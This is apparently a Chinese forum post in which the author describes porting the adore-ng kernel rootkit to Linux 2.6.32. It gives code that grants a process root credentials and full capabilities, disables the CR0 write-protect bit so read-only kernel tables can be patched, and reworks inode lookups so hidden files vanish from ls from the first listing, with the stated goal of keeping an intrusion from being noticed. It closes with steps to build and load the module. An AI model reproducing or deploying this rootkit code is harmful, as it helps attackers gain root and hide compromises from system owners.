最近对以前的一个黑客工具adore-ng0.56版本进行了修改,使其可以在ubuntu10.04(2.6.32)运行,也可以在2.6.30上运行,为了修改这个,死机n次。。。。
Adore-ng-0.56源码分析见
(感谢他)
由于2.6.32版本内核与以前有一些不同,所以不能编译
主要不同之处在于,
1.struct task_struct中关于权限的字段移到struct cred中去了
复制代码2.关于操作的结构都是const类型,直接修改引发oops错误
所以先要去掉cr0寄存器的写保护,如下代码
复制代码3.在文件隐藏中,iget函数已经没有了,相应的super_operations里read_inode也没有了,所以采用了新方法获取inode
一开始的想法是用iget_locked代替,但出现的问题是:
(1) 如果文件从来没访问过,那么文件inode不存在,这样iget_locked会新建一个空的inode,但不会填充它,而且后面因为用了unlock_new_inode,使得以后获取到该文件的inode都是空的,所以那些没有访问过的文件以后都不能打开了,ls –l得出的长度什么的全是0
复制代码后来我想到的方法是加上一句inode->i_state |= I_NEW;这样就重新标记为新节点,有了这个标记的后,文件体统相应的iget函数(如ext4_iget)会填充它
(2) 上面的内核inode破坏问题解决了,还有个问题是,如果inode没缓存(即该文件从没被打开过),那么iget_locked会获取到空的inode, 所以if (uid == ELITE_UID && gid == ELITE_GID)这句话在第一次运行时永远不成立,所以第一次ls有需要隐藏文件的目录时,我们要隐藏的文件还能看的见,第二次ls才会消失,因为第二次我们得到的才是真正的inode。(这里说明一下,ls命令要获取文件信息,就需要打开当前目录下所有文件获取填充好的inode,内核为每个文件调用一次ext4_iget)
这个应该是很严重的问题,我们本来是要隐藏文件的,但第一次能ls能看见,再次ls时消失掉,傻瓜也知道被入侵了。。。
后来我找到了第二种解决办法,在ext4中有个函数是ext4_lookup,用来填充当前目录dentry,提供的参数是父目录的inode,文件未连接的dentry(negative dentry),这个函数用来把dentry和inode连接起来(调用了ext4_iget来填充inode)。
复制代码当前修改还不是很稳定,好像会出现内核函数writeback_single_inode错误,导致一些问题,但把
//iput(inode);
//dput(dentry);,
注释掉后好像又没问题了。
运行方法
make
进入root后
Insmod adore-ng.ko
然后可以用ava运行命令了,详细操作方法见我上面贴出的网址,也可以百度google搜索
(49.53 KB)
Adore-ng-0.56源码分析见
(感谢他)
由于2.6.32版本内核与以前有一些不同,所以不能编译
主要不同之处在于,
1.struct task_struct中关于权限的字段移到struct cred中去了
- edit_cred->uid = 0;
- edit_cred->suid = 0;
- edit_cred->euid = 0;
- edit_cred->gid = 0;
- edit_cred->egid = 0;
- edit_cred->fsuid = 0;
- edit_cred->fsgid = 0;
- cap_set_full(edit_cred->cap_effective);
- cap_set_full(edit_cred->cap_inheritable);
- cap_set_full(edit_cred->cap_permitted);
所以先要去掉cr0寄存器的写保护,如下代码
- unsigned orig_cr0;
- /*清除cr0寄存器的写保护位,第16位为WP写保护位*/
- unsigned clear_return_cr0(void)
- {
- unsigned cr0 = 0;
- unsigned ret;
- asm volatile ("movl %%cr0, %%eax"
- :"=a"(cr0)
- );
- ret = cr0;
- cr0 &= 0xfffeffff;
- asm volatile ("movl %%eax, %%cr0"
- :
- :"a"(cr0)
- );
- return ret;
- }
- /*用orig_cr0恢复cr0寄存器*/
- void setback_cr0(unsigned val)
- {
- asm volatile ("movl %%eax, %%cr0"
- :
- :"a"(val)
- );
- }
一开始的想法是用iget_locked代替,但出现的问题是:
(1) 如果文件从来没访问过,那么文件inode不存在,这样iget_locked会新建一个空的inode,但不会填充它,而且后面因为用了unlock_new_inode,使得以后获取到该文件的inode都是空的,所以那些没有访问过的文件以后都不能打开了,ls –l得出的长度什么的全是0
- if (inode->i_state & I_NEW) {
- unlock_new_inode(inode);
- //printk("%lu\n", (unsigned long)inode);
- inode->i_state |= I_NEW;//没有这句话,会造成文件系统内所有第一次ls的新文件全部不可用
- }
(2) 上面的内核inode破坏问题解决了,还有个问题是,如果inode没缓存(即该文件从没被打开过),那么iget_locked会获取到空的inode, 所以if (uid == ELITE_UID && gid == ELITE_GID)这句话在第一次运行时永远不成立,所以第一次ls有需要隐藏文件的目录时,我们要隐藏的文件还能看的见,第二次ls才会消失,因为第二次我们得到的才是真正的inode。(这里说明一下,ls命令要获取文件信息,就需要打开当前目录下所有文件获取填充好的inode,内核为每个文件调用一次ext4_iget)
这个应该是很严重的问题,我们本来是要隐藏文件的,但第一次能ls能看见,再次ls时消失掉,傻瓜也知道被入侵了。。。
后来我找到了第二种解决办法,在ext4中有个函数是ext4_lookup,用来填充当前目录dentry,提供的参数是父目录的inode,文件未连接的dentry(negative dentry),这个函数用来把dentry和inode连接起来(调用了ext4_iget来填充inode)。
- struct inode *inode = NULL;
- struct dentry *dentry = NULL;
- struct qstr this;
- struct dentry *dir = parent_dir[current->pid % 1024];
- this.name = name;
- this.len = nlen;
- this.hash = full_name_hash(this.name, this.len);
- dentry = d_lookup(dir, &this);//首先看系统中有没有缓存
- if (!dentry) {
- dentry = d_alloc(dir, &this);
- if (!dentry) {
- //printk("d_alloc失败%d\n", (int)dentry);
- return 0;
- }
- if(dir->d_inode->i_op->lookup(dir->d_inode, dentry, NULL) != 0) {
- printk("lookup错误\n");
- return 0;
- }
- }
- if(!(inode = dentry->d_inode)) {
- //printk("inode获取失败\n");
- return 0;
- }
//iput(inode);
//dput(dentry);,
注释掉后好像又没问题了。
运行方法
make
进入root后
Insmod adore-ng.ko
然后可以用ava运行命令了,详细操作方法见我上面贴出的网址,也可以百度google搜索
(49.53 KB)